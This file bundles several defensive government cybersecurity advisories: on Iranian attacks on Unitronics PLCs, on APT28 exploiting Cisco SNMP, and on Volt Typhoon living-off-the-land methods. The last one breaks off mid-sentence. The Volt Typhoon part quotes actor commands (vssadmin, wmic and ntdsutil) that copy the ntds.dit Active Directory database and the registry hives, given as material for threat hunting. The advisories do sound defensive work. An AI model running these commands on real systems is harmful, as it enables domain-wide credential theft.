diff --git "a/cyber.clean.txt" "b/cyber.clean.txt" new file mode 100644--- /dev/null +++ "b/cyber.clean.txt" @@ -0,0 +1,25104 @@ +Co-Authored by: +TLP:CLEAR +Product ID: AA23-335A +December 14, 2023 +December 5, 2023December 1, +2023 +IRGC-Affiliated Cyber Actors Exploit PLCs in +Multiple Sectors, Including U.S. Water and +Wastewater Systems Facilities +SUMMARY +The Federal Bureau of Investigation (FBI), Cybersecurity +and Infrastructure Security Agency (CISA), National +Security Agency (NSA), Environmental Protection Agency +(EPA), and the Israel National Cyber Directorate (INCD) +hereafter referred to as "the authoring agencies" +disseminating this joint Cybersecurity Advisory (CSA) to +highlight continued malicious cyber activity against +operational technology devices by Iranian Government +Islamic Revolutionary Guard Corps (IRGC)-affiliated +Advanced Persistent Threat (APT) cyber actors. +Actions to take today to mitigate +malicious activity: +Implement multifactor +authentication. +Use strong, unique +passwords. +Check PLCs for default +passwords. +The IRGC is an Iranian military organization that the United States designated as a foreign terrorist +organization in 2019. IRGC-affiliated cyber actors using the persona +CyberAv3ngers + are actively +targeting and compromising Israeli-made Unitronics Vision Series programmable logic controllers +(PLCs). These PLCs are commonly used in the Water and Wastewater Systems (WWS) Sector and +are additionally used in other industries including, but not limited to, energy, food and beverage +manufacturing, and healthcare. The PLCs may be rebranded and appear as different manufacturers +and companies. In addition to the recent CISA Alert, the authoring agencies are releasing this joint +CSA to share indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) +associated with IRGC cyber operations. +Since at least November 22, 2023, these IRGC-affiliated cyber actors have continued to compromise +default credentials in Unitronics devices. The IRGC-affiliated cyber actors left a defacement image +stating, +You have been hacked, down with Israel. Every equipment +made in Israel + is CyberAv3ngers +legal target. + The victims span multiple U.S. states. The authoring agencies urge all organizations, +To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI +field office or CISA +s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the +following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; +type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. +For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov. +This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries +minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to +standard copyright rules, TLP:CLEAR information may be distributed without restriction. For more information on the Traffic +Light Protocol, see cisa.gov/tlp/. +TLP:CLEAR +TLP:CLEAR CISA | FBI | NSA | EPA | INCD +especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations +section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors. +This advisory provides observed IOCs and TTPs the authoring agencies assess are likely associated +with this IRGC-affiliated APT. For more information on Iranian state-sponsored malicious cyber +activity, see CISA +s Iran Cyber Threat Overview and Advisories webpage and the FBI +s Iran Threat +webpage. +For a downloadable copy of IOCs, see: +AA23-335A (STIX XML, 16KB) +AA23-335A (STIX JSON, 11KB) +TECHNICAL DETAILS +Note: This advisory uses the MITRE ATT&CK + for Enterprise framework, version 14. See Table 1 for +threat actor activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping +malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK +s Best +Practices for MITRE ATT&CK Mapping and CISA +s Decider Tool. +Overview +CyberAv3ngers (also known as CyberAveng3rs, Cyber Avengers) is an Iranian IRGC cyber persona +that has claimed responsibility for numerous attacks against critical infrastructure +organizations.[1],[2],[3],[4],[5] The group claimed responsibility for cyberattacks in Israel beginning in +2020. CyberAv3ngers falsely claimed they compromised several critical infrastructure organizations in +Israel.[2] CyberAv3ngers also reportedly has connections to another IRGC-linked group known as +Soldiers of Solomon. +(Updated December 14, 2023) Most recently, CyberAv3ngers began targeting U.S.-based WWS +facilities that operate Unitronics PLCs.[1] The threat actors compromised Unitronics Vision Series +PLCs with human machine interfaces (HMI). These compromised devices were publicly exposed to +the internet with default passwords and by default are on TCP port 20256. On December 11, 2023, +CVE-2023-6448 was assigned to address the default passwords [CWE-798: Use of Hard Coded +Credentials], and CISA added the CVE to its Known Exploited Vulnerabilities Catalog. On December +12, Unitronics released VisiLogic version 9.9.00 software to address this CVE; the update requires +users to change default passwords. +These PLC and related controllers are often exposed to outside internet connectivity due to the +remote nature of their control and monitoring functionalities. The compromise is centered around +defacing the controller +s user interface and may render the PLC inoperative. With this type of access, +deeper device and network level accesses are available and could render additional, more profound +cyber physical effects on processes and equipment. It is not known if additional cyber activities +deeper into these PLCs or related control networks and components were intended or achieved. +Organizations should consider and evaluate their systems for these possibilities. +Page 2 of 7 | Product ID: AA23-335A +TLP:CLEAR +TLP:CLEAR CISA | FBI | NSA | EPA | INCD +Threat Actor Activity +The authoring agencies have observed the IRGC-affiliated activity since at least October 2023, when +the actors claimed credit for the cyberattacks against Israeli PLCs on their Telegram channel. Since +November 2023, the authoring agencies have observed the IRGC-affiliated actors target multiple +U.S.-based WWS facilities that operate Unitronics Vision Series PLCs. Cyber threat actors likely +compromised these PLCs since the PLCs were internet-facing and used Unitronics + default password. +Observed activity includes the following: +Between September 13 and October 30, 2023, the CyberAv3ngers Telegram channel +displayed both legitimate and false claims of multiple cyberattacks against Israel. +CyberAv3ngers targeted Israeli PLCs in the water, energy, shipping, and distribution sectors. +On October 18, 2023, the CyberAv3ngers-linked Soldiers of Solomon claimed responsibility +for compromising over 50 servers, security cameras, and smart city management systems in +Israel; however, majority of these claims were proven false. The group claimed to use a +ransomware named +Crucio + against servers where the webcams camera software operated +on port 7001. +Beginning on November 22, 2023, IRGC cyber actors accessed multiple U.S.-based WWS +facilities that operate Unitronics Vision Series PLCs with an HMI likely by compromising +internet-accessible devices with default passwords. The targeted PLCs displayed the +defacement message, +You have been hacked, down with Israel. Every equipment +made in +Israel + is Cyberav3ngers legal target. +INDICATORS OF COMPROMISE +See Table 1 for observed IOCs related to CyberAv3nger operations. +(Updated December 14, 2023) +Table 1: CyberAv3nger IOCs +Indicator +Type +Fidelity +Description +BA284A4B508A7ABD8070A427386E93E0 +Suspected +MD5 hash +associated with +Crucio +Ransomware +66AE21571FAEE1E258549078144325DC9DD +60303 +SHA1 +Suspected +SHA1 hash +associated with +Crucio +Ransomware +440b5385d3838e3f6bc21220caa83b65cd5f361 +8daea676f271c3671650ce9a3 +SHA256 +Suspected +SHA256 hash +associated with +Page 3 of 7 | Product ID: AA23-335A +TLP:CLEAR +TLP:CLEAR CISA | FBI | NSA | EPA | INCD +Indicator +Type +Fidelity +Description +Crucio +Ransomware +178.162.227[.]180 +IP address +Suspected +Crucio +Ransomware +185.162.235[.]206 +IP address +Suspected +Crucio +Ransomware +MITRE ATT&CK TACTICS AND TECHNIQUES +See Table 2 for referenced threat actor tactics and techniques in this advisory. +Table 2: Initial Access +Technique Title +Brute Force +Techniques +T1110 +Threat actors obtained login credentials, which they used +to successfully log into Unitronics devices and provide +root-level access. +MITIGATIONS +The authoring agencies recommend critical infrastructure organizations, including WWS sector +facilities, implement the following mitigations to improve your organization +s cybersecurity posture to +defend against CyberAv3ngers activity. These mitigations align with the Cross-Sector Cybersecurity +Performance Goals (CPGs) developed by CISA and the National Institute of Standards and +Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and +NIST recommend all organizations implement. CISA and NIST based the CPGs on existing +cybersecurity frameworks and guidance to protect against the most common and impactful threats, +tactics, techniques, and procedures. Visit CISA +s Cross-Sector Cybersecurity Performance Goals for +more information on the CPGs, including additional recommended baseline protections. +Note: The below mitigations are based on threat actor activity against Unitronics PLCs but apply to all +internet-facing PLCs. +Network Defenders +The cyber threat actors likely accessed the affected devices +Unitronics Vision Series PLCs with +by exploiting cybersecurity weaknesses, including poor password security and exposure to the +Page 4 of 7 | Product ID: AA23-335A +TLP:CLEAR +TLP:CLEAR CISA | FBI | NSA | EPA | INCD +internet. To safeguard against this threat, the authoring agencies urge organizations to consider the +following: +Immediate steps to prevent attack: +(Updated December 14, 2023) Upgrade devices to 9.9.00 VisiLogic software, which requires +users to change the default passwords on PLCs and HMIs. Use a strong password. For more +information, see Unitronics + blog Unitronics Cybersecurity for Vision and Samba PLC Series +and Release notes for VisiLogic 9.9.00. +Disconnect the PLC from the public-facing internet. +Follow-on steps to strengthen your security posture: +Implement multifactor authentication for access to the operational technology (OT) network +whenever applicable. +If you require remote access, implement a firewall and/or virtual private network (VPN) in front +of the PLC to control network access. A VPN or gateway device can enable multifactor +authentication for remote access even if the PLC does not support multifactor authentication. +Create strong backups of the logic and configurations of PLCs to enable fast recovery. +Familiarize yourself with factory resets and backup deployment as preparation in the event of +ransomware activity. +Keep your Unitronics and other PLC devices updated with the latest versions by the +manufacturer. +Confirm third-party vendors are applying the above recommended countermeasures to +mitigate exposure of these devices and all installed equipment. +In addition, the authoring agencies recommend network defenders apply the following mitigations to +limit potential adversarial use of common system and network discovery techniques, and to reduce +the impact and risk of compromise by cyber threat actors: +Reduce risk exposure. CISA offers a range of services at no cost, including scanning and +testing to help organizations reduce exposure to threats via mitigating attack vectors. CISA +Cyber Hygiene services can help provide additional review of organizations + internetaccessible assets. Email vulnerability@cisa.dhs.gov with the subject line, +Requesting Cyber +Hygiene Services + to get started. +Device Manufacturers +Although critical infrastructure organizations using Unitronics (including rebranded Unitronics) PLC +devices can take steps to mitigate the risks, it is ultimately the responsibility of the device +manufacturer to build products that are secure by design and default. The authoring agencies urge +device manufacturers to take ownership of the security outcomes of their customers by following the +principles in the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for +Secure by Design Software, primarily: +Do not ship products with default passwords. Instead, either ship products with random initial +passwords or require users to change the password upon first use. +Page 5 of 7 | Product ID: AA23-335A +TLP:CLEAR +TLP:CLEAR CISA | FBI | NSA | EPA | INCD +Do not expose administrative interfaces to the internet by default, and take steps to introduce +friction should a device be placed in an insecure state. +Do not charge extra for basic security features needed to operate the product securely. +Support multifactor authentication, including via phishing-resistant methods. +By using secure by design tactics, software manufacturers can make their product lines secure +out of +the box + without requiring customers to spend additional resources making configuration changes, +purchasing tiered security software and logs, monitoring, and making routine updates. +For more information on common misconfigurations and guidance on reducing their prevalence, see +joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. +For more information on secure by design, see CISA +s Secure by Design and Default webpage and +joint guide. +VALIDATE SECURITY CONTROLS +In addition to applying mitigations, the authoring agencies recommend exercising, testing, and +validating your organization's security program against the threat behaviors mapped to the MITRE +ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your +existing security controls inventory to assess how they perform against the ATT&CK techniques +described in this advisory. +To get started: +Select an ATT&CK technique described in this advisory (see Table 2). +Align your security technologies against the technique. +Test your technologies against the technique. +Analyze your detection and prevention technologies + performance. +Repeat the process for all security technologies to obtain a set of comprehensive performance +data. +6. Tune your security program, including people, processes, and technologies, based on the +data generated by this process. +The authoring agencies recommend continually testing your security program, at scale, in a +production environment to ensure optimal performance against the MITRE ATT&CK techniques +identified in this advisory. +RESOURCES +EPA: Cybersecurity for the Water Sector +CISA: Water and Wastewater Systems Sector +CISA Alert: Exploitation of Unitronics PLCs used in Water and Wastewater Systems +CISA: Iran Cyber Threat Overview and Advisories +FBI: The Iran Threat - Web Page +CISA, MITRE: Best Practices for MITRE ATT&CK Mapping +CISA: Decider Tool +Page 6 of 7 | Product ID: AA23-335A +TLP:CLEAR +TLP:CLEAR CISA | FBI | NSA | EPA | INCD +CISA: Cross-Sector Cybersecurity Performance Goals +CISA: Cyber Hygiene Services +CISA: Shifting the Balance of Cybersecurity Risk - Principles and Approaches for Secure by +Design Software +CISA: Secure by Design Alert - How Software Manufacturers Can Shield Web Management +Interfaces from Malicious Cyber Activity +CISA, NSA: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity +Misconfigurations +CISA: Secure by Design and Default +REPORTING +All organizations should report suspicious or criminal activity related to information in this CSA to +CISA via CISA +s 24/7 Operations Center (report@cisa.gov or 888-282-0870). The FBI encourages +recipients of this document to report information concerning suspicious or criminal activity to their +local FBI field office or IC3.gov. For NSA client requirements or general cybersecurity inquiries, +contact Cybersecurity_Requests@nsa.gov. +Additionally, the Water ISAC encourages members to share information by emailing +analyst@waterisac.org, calling 866-H2O-ISAC, or using the online incident reporting form. State, +local, tribal, and territorial governments should report incidents to the MS-ISAC (SOC@cisecurity.org +or 866-787-4722). +REFERENCES +[1] CBS News: Municipal Water Authority of Aliquippa hacked by Iranian-backed cyber group +[2] Industrial Cyber: Digital Battlegrounds - Evolving Hybrid Kinetic Warfare +[3] Bleeping Computer: Israel's Largest Oil Refinery Website Offline After DDoS Attack +[4] Dark Reading: Pro-Iranian Attackers Claim to Target Israeli Railroad Network +[5] Dark Reading: Website of Israeli Oil Refinery Taken Offline by Pro-Iranian Attackers +[6] X: @CyberAveng3rs +DISCLAIMER +The information in this report is being provided +as is + for informational purposes only. The authoring +agencies do not endorse any commercial entity, product, company, or service, including any entities, +products, or services linked within this document. Any reference to specific commercial entities, +products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not +constitute or imply endorsement, recommendation, or favoring by the authoring agencies. +VERSION HISTORY +December 1, 2023: Initial version. +December 14, 2023: Added CVE, patch information, and IOC descriptions. +Page 7 of 7 | Product ID: AA23-335A +TLP:CLEAR +Advisory. +APT28 exploits known +vulnerability to carry out +reconnaissance and deploy +malware on Cisco routers +Version 1 +April 2023 + Crown Copyright 2023 +APT28 exploits known vulnerability to carry out +reconnaissance of routers and deploy malware +APT28 accesses poorly maintained Cisco routers and deploys +malware on unpatched devices using CVE-2017-6742. +Overview and context +The UK National Cyber Security Centre (NCSC), the US National Security Agency +(NSA), US Cybersecurity and Infrastructure Security Agency (CISA) and US Federal +Bureau of Investigation (FBI) are releasing this joint advisory to provide details of +tactics, techniques and procedures (TTPs) associated with APT28 +s exploitation of +Cisco routers in 2021. +We assess that APT28 is almost certainly the Russian General Staff Main +Intelligence Directorate (GRU) 85th special Service Centre (GTsSS) Military +Intelligence Unit 26165. APT28 (also known as Fancy Bear, STRONTIUM, Pawn +Storm, the Sednit Gang and Sofacy) is a highly skilled threat actor. +Previous activity +The NCSC has previously attributed the following activity to APT28: + cyber attacks against the German parliament in 2015, including data theft and +disrupting email accounts of German Members of Parliament (MPs) and the +Vice Chancellor + attempted attack against the Organisation for the Prohibition of Chemical +Weapons (OPCW) in April 2018, to disrupt independent analysis of chemicals +weaponised by the GRU in the UK +For more information on APT28 activity, see the advisory +Russian State-Sponsored +and Criminal Cyber Threats to Critical Infrastructure + and +Russian GRU Conducting +Global Brute Force Campaign to Compromise Enterprise and Cloud Environments +As of 2021, APT28 has been observed using commercially available code +repositories, and post-exploit frameworks such as Empire. This included the use of +Powershell Empire, in addition to Python versions of Empire. +Reconnaissance +Use of SNMP protocol to access routers +In 2021, APT28 used infrastructure to masquerade Simple Network Management +protocol (SNMP) access into Cisco routers worldwide. This included a small number +based in Europe, US government institutions and approximately 250 Ukrainian +victims. +SNMP is designed to allow network administrators to monitor and configure network +devices remotely, but it can also be misused to obtain sensitive network information +and, if vulnerable, exploit devices to penetrate a network. +A number of software tools can scan the entire network using SNMP, meaning that +poor configuration such as using default or easy-to-guess community strings, can +make a network susceptible to attacks. +Weak SNMP community strings, including the default +public +, allowed APT28 to gain +access to router information. APT28 sent additional SNMP commands to enumerate +router interfaces. [T1078.001] +The compromised routers were configured to accept SNMP v2 requests. SNMP v2 +doesn +t support encryption and so all data, including community strings, is sent +unencrypted. +Exploitation of CVE-2017-6742 +APT28 exploited the vulnerability CVE-2017-6742 (Cisco Bug ID: CSCve54313) +[T1190]. This vulnerability was first announced by Cisco on 29 June 2017, and +patched software was made available. +Cisco's published advisory provided workarounds, such as limiting access to SNMP +from trusted hosts only, or by disabling a number of SNMP Management Information +bases (MIBs). +Malware deployment +For some of the targeted devices, APT28 actors used an SNMP exploit to deploy +malware, as detailed in the NCSC +s Jaguar Tooth malware analysis report. This +malware obtained further device information, which is exfiltrated over trivial file +transfer protocol (TFTP), and enabled unauthenticated access via a backdoor. +The actor obtained this device information by executing a number of Command Line +Interface (CLI) commands via the malware. It includes discovery of other devices on +the network by querying the Address Resolution Protocol (ARP) table to obtain MAC +addresses [T1590] +Indicators of compromise (IoCs) +Please refer to the accompanying malware analysis report for indicators of +compromise which may help to detect this activity. +MITRE ATT&CK +This advisory has been compiled with respect to the MITRE ATT&CK + framework, a +globally accessible knowledge base of adversary tactics and techniques based on +real-world observations. +For detailed TTPs, see the Jaguar Tooth malware analysis report. +Tactic +Technique +Procedure +Initial +Access +T1190 +Exploit Publicfacing +Application. +Initial +Access +T1078.001 +Valid Accounts. +Default Accounts. +Reconnais +sance +T1590 +Gather victim +network +information +APT28 exploited +default/well-known +community strings in +SNMP as outlined in +CVE-2017-6742 (Cisco +Bug ID: CSCve54313) +Actors accessed +victim routers by +using default +community strings +such as +public +Access was gained to +perform +reconnaissance on +victim devices. +Further detail of how +this was achieved in +available in the +MITRE ATT&CK section +of the Jaguar Tooth +Conclusion +APT28 has been known to access vulnerable routers by using default and weak +SNMP community strings, and by exploiting CVE-2017-6742 (Cisco Bug ID: +CSCve54313) as published by Cisco and highlighted in their related blog. +Threat Actors Exploiting SNMP Vulnerabilities in Cisco Routers +TTPs in this advisory may still be used against vulnerable Cisco devices. +Organisations are advised to follow the mitigation advice in this advisory to defend +against this activity. +Reporting +UK organisations should report any suspected compromises to the NCSC. +US organisations should contact CISA +s 24/7 Operations Centre at Report@cisa.gov +or (888) 282-0870 +Mitigation +o Patch devices as advised by Cisco. The NCSC also has general guidance on +managing updates and keeping software up to date. +o Do not use SNMP if you are not required to configure or manage devices +remotely to prevent unauthorised users from accessing your router. + If you are required to manage routers remotely, establish allow and +deny lists for SNMP messages to prevent unauthorised users from +accessing your router. +o Do not allow unencrypted (ie, plaintext) management protocols, such as +SNMP v2 and Telnet. Where encrypted protocols aren +t possible, you should +carry out any management activities from outside the organisation through +an encrypted virtual private network (VPN), where both ends are mutually +authenticated. +o Enforce a strong password policy. Don +t reuse the same password for +multiple devices. Each device should have a unique password. Where +possible, avoid legacy password-based authentication and implement twofactor authentication based on public-private key. +o Disable legacy unencrypted protocols such as Telnet and SNMP v1 or v2c. +Where possible, use modern encrypted protocols such as SSH and SNMP v3. +Harden the encryption protocols based on current best security practice. The +NCSC strongly advises owners and operators to retire and replace legacy +devices that can +t be configured to use SNMP v3. +o Use logging tools to record commands executed on your network devices, +such as TACACS+ and Syslog. Use these logs to immediately highlight +suspicious events and keep a record of events to support an investigation if +the device +s integrity is ever in question. See NCSC guidance on monitoring +and logging. +o If you suspect your router has been compromised: + Follow Cisco +s advice for verifying the Cisco IOS image. + Revoke all keys associated with that router. When replacing the router +configuration be sure to create new keys rather than pasting from the +old configuration. +Replace both the ROMMON and Cisco IOS image with an image that +has been sourced directly from the Cisco website, in case third party +and internal repositories have been compromised. +s Network Infrastructure guide provides some best practices for SNMP. +See also the Cisco IOS hardening guide +Disclaimers +This report draws on information derived from NCSC and industry sources. Any NCSC +findings and recommendations made have not been provided with the intention of +avoiding all risks and following the recommendations will not remove all such risk. +Ownership of information risks remains with the relevant system owner at all times. +All material is UK Crown Copyright +Joint Cybersecurity Advisory +TLP:CLEAR +People's Republic of China State-Sponsored Cyber +Actor Living off the Land to Evade Detection +Summary +The United States and international cybersecurity authorities are issuing this joint +Cybersecurity Advisory (CSA) to highlight a recently discovered cluster of activity of +interest associated with a People +s Republic of China (PRC) state-sponsored cyber +actor, also known as Volt Typhoon. Private sector partners have identified that this +activity affects networks across U.S. critical infrastructure sectors, and the authoring +agencies believe the actor could apply the same techniques against these and other +sectors worldwide. +This advisory from the United States National Security Agency (NSA), the U.S. +Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Federal Bureau of +Investigation (FBI), the Australian Signals Directorate +s Australian Cyber Security +Centre (ACSC), the Communications Security Establishment +s Canadian Centre for +Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), +and the United Kingdom National Cyber Security Centre (NCSC-UK) (hereafter referred +to as the +authoring agencies +) provides an overview of hunting guidance and +associated best practices to detect this activity. +One of the actor +s primary tactics, techniques, and procedures (TTPs) is living off the +land, which uses built-in network administration tools to perform their objectives. This +TTP allows the actor to evade detection by blending in with normal Windows system +and network activities, avoid endpoint detection and response (EDR) products that +would alert on the introduction of third-party applications to the host, and limit the +amount of activity that is captured in default logging configurations. Some of the built-in +tools this actor uses are: wmic, ntdsutil, netsh, and PowerShell. The advisory +Disclaimer: This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or no foreseeable +risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be +distributed without restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +provides examples of the actor +s commands along with detection signatures to aid +network defenders in hunting for this activity. Many of the behavioral indicators included +can also be legitimate system administration commands that appear in benign activity. +Care should be taken not to assume that findings are malicious without further +investigation or other indications of compromise. +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +Contents +People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade +Detection ......................................................................................................................... 1 +Summary ......................................................................................................................... 1 +Technical Details ............................................................................................................. 4 +Background ..................................................................................................................... 4 +Artifacts ........................................................................................................................... 4 +Network artifacts .......................................................................................................... 4 +Host artifacts ................................................................................................................ 5 +Windows management instrumentation (WMI/WMIC).............................................. 5 +Ntds.dit Active Directory database ........................................................................... 5 +PortProxy ................................................................................................................. 8 +PowerShell ............................................................................................................. 10 +Impacket ................................................................................................................ 10 +Enumeration of the environment ............................................................................ 11 +Additional credential theft ....................................................................................... 12 +Additional commands ............................................................................................. 12 +Mitigations ..................................................................................................................... 13 +Logging recommendations ........................................................................................ 14 +Indicators of compromise (IOCs) summary ................................................................... 15 +TTPs .......................................................................................................................... 15 +Command execution .................................................................................................. 16 +Command line patterns.............................................................................................. 18 +File paths ................................................................................................................... 18 +File names ................................................................................................................. 18 +SHA-256 file hashes .................................................................................................. 18 +User-agent ................................................................................................................. 19 +Yara rules .................................................................................................................. 19 +References .................................................................................................................... 21 +Acknowledgements ....................................................................................................... 22 +Appendix: MITRE ATT&CK Techniques........................................................................ 23 +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +Technical Details +This advisory uses the MITRE ATT&CK for Enterprise framework, version 13. See the +Appendix: MITRE ATT&CK Techniques for all referenced tactics and techniques. +Background +The authoring agencies are aware of recent People +s Republic of China (PRC) statesponsored cyber activity and have identified potential indicators associated with these +techniques. This advisory will help net defenders hunt for this activity on their systems. +It provides many network and host artifacts associated with the activity occurring after +the network has been initially compromised, with a focus on command lines used by the +cyber actor. An Indicators of compromise (IOCs) summary is included at the end of this +advisory. For a downloadable copy of IOCs, see aa23-144a.stix_.xml (STIX, 35 kB). +Especially for living off the land techniques, it is possible that some command lines +might appear on a system as the result of benign activity and would be false positive +indicators of malicious activity. Defenders must evaluate matches to determine their +significance, applying their knowledge of the system and baseline behavior. +Additionally, if creating detection logic based on these commands, network defenders +should account for variability in command string arguments, as items such as ports +used may differ across environments. +Artifacts +Network artifacts +The actor has leveraged compromised small office/home office (SOHO) network +devices as intermediate infrastructure to obscure their activity by having much of the +command and control (C2) traffic emanate from local ISPs in the geographic area of the +victim. Owners of SOHO devices should ensure that network management interfaces +are not exposed to the Internet to avoid them being re-purposed as redirectors by +malicious actors. If they must be exposed to the Internet, device owners and operators +should ensure they follow zero trust principles and maintain the highest level of +authentication and access controls possible. +The actor has used Earthworm and a custom Fast Reverse Proxy (FRP) client with +hardcoded C2 callbacks [T1090] to ports 8080, 8443, 8043, 8000, and 10443 with +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +various filenames including, but not limited to: cisco_up.exe, cl64.exe, vm3dservice.exe, +watchdogd.exe, Win.exe, WmiPreSV.exe, and WmiPrvSE.exe. +Host artifacts +Windows management instrumentation (WMI/WMIC) +The actor has executed the following command to gather information about local drives +[T1082]: +cmd.exe /C "wmic path win32_logicaldisk get +caption,filesystem,freespace,size,volumename" +This command does not require administrative credentials to return results. The +command uses a command prompt [T1059.003] to execute a Windows Management +Instrumentation Command Line (WMIC) query, collecting information about the storage +devices on the local host, including drive letter, file system (e.g., new technology file +system [NTFS]), free space and drive size in bytes, and an optional volume name. +Windows Management Instrumentation (WMI) is a built-in Windows tool that allows a +user to access management information from hosts in an enterprise environment. The +command line version of WMI is called WMIC. +By default, WMI Tracing is not enabled, so the WMI commands being executed and the +associated user might not be available. Additional information on WMI events and +tracing can be found in the References section of the advisory. +Ntds.dit Active Directory database +The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive from +Windows domain controllers (DCs) out of the network to perform password cracking +[T1003.003]. (The ntds.dit file is the main Active Directory (AD) database file and, by +default, is stored at %SystemRoot%\NTDS\ntds.dit. This file contains information +about users, groups, group memberships, and password hashes for all users in the +domain; the SYSTEM registry hive contains the boot key that is used to encrypt +information in the ntds.dit file.) Although the ntds.dit file is locked while in use by AD, a +copy can be made by creating a Volume Shadow Copy and extracting the ntds.dit file +from the Shadow Copy. The SYSTEM registry hive may also be obtained from the +Shadow Copy. The following example commands show the actor creating a Shadow +Copy and then extracting a copy of the ntds.dit file from it. +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +cmd /c vssadmin create shadow /for=C: > +C:\Windows\Temp\.tmp +cmd /c copy +\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTD +S\ntds.dit C:\Windows\Temp > C:\Windows\Temp\.tmp +The built-in Ntdsutil.exe tool performs all these actions using a single command. There +are several ways to execute Ntdsutil.exe, including running from an elevated command +prompt (cmd.exe), using WMI/WMIC, or PowerShell. Defenders should look for the +execution of Ntdsutil.exe commands using long, short, or a combination of the +notations. For example, the long notation command activate instance ntds ifm +can also be executed using the short notation ac i ntds i. Table 1 provides the long +and short forms of the arguments used in the sample Ntdsutil.exe command, along with +a brief description of the arguments. +Table 1: Ntdsutil.exe command syntax +Long form +Short form +activate instance % +ac i % +Description +Sets variable % as the active instance for +ntdsutil to use +Install from media (ifm). Creates +installation media to be used with +DCPromo so the server will not need to +copy data from another Domain +Controller on the network +The actor has executed WMIC commands [T1047] to create a copy of the ntds.dit file +and SYSTEM registry hive using ntdsutil.exe. Each of the following actor commands is +a standalone example; multiple examples are provided to show how syntax and file +paths may differ per environment. +wmic process call create "ntdsutil \"ac i ntds\" ifm \"create +full C:\Windows\Temp\pro +wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" +ifm \"create full C:\Windows\Temp\Pro" +wmic process call create "cmd.exe /c mkdir +C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create +full C:\Windows\Temp\tmp\" +"cmd.exe" /c wmic process call create "cmd.exe /c mkdir +C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm +\"create full C:\Windows\Temp\McAfee_Logs\" +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir +C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create +full C:\Windows\Temp\tmp\" 1> +\\127.0.0.1\ADMIN$\ 2>&1 +Note: The would be an epoch timestamp following the format +like +__1684956600.123456 +Each actor command above creates a copy of the ntds.dit database and the SYSTEM +and SECURITY registry hives in the C:\Windows\Temp\ directory, where + is replaced with the path specified in the command (e.g., pro, tmp, or +McAfee_Logs). By default, the hidden ADMIN$ share is mapped to C:\Windows\, so +the last command will direct standard output and error messages from the command to +a file within the folder specified. +The actor has also saved the files directly to the C:\Windows\Temp and +C:\Users\Public directories, so the entirety of those directory structures should be +analyzed. Ntdsutil.exe creates two subfolders in the directory specified in the command: +an Active Directory folder that contains the ntds.dit and ntds.jfm files, and a registry +folder that contains the SYSTEM and SECURITY hives. Defenders should look for this +folder structure across their network: +\Active Directory\ntds.dit +\Active Directory\ntds.jfm +\registry\SECURITY +\registry\SYSTEM +When one of the example commands is executed, several successive log entries are +created in the Application log, under the ESENT Source. Associated events can be +viewed in Windows Event Viewer by navigating to: Windows Logs | Application. To +narrow results to relevant events, select Filter Current Log from the Actions menu on +the right side of the screen. In the Event sources dropdown, check the box next to +ESENT, then limit the logs to ID numbers 216, 325, 326, and 327. Clicking the OK box +will apply the filters to the results. +Since ESENT logging is used extensively throughout Windows, defenders should focus +on events that reference ntds.dit. If such events are present, the events + details should +contain the file path where the file copies were created. Since these files can be +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +deleted, or enhanced logging may not be configured on hosts, the file path can greatly +aid in a hunt operation. Identifying the user associated with this activity is also a critical +step in a hunt operation as other actions by the compromised +or actor-created +user +account can be helpful to understand additional actor TTPs, as well as the breadth of +the actor's actions. +Note: If an actor can exfiltrate the ntds.dit and SYSTEM registry hive, the entire domain +should be considered compromised, as the actor will generally be able to crack the +password hashes for domain user accounts, create their own 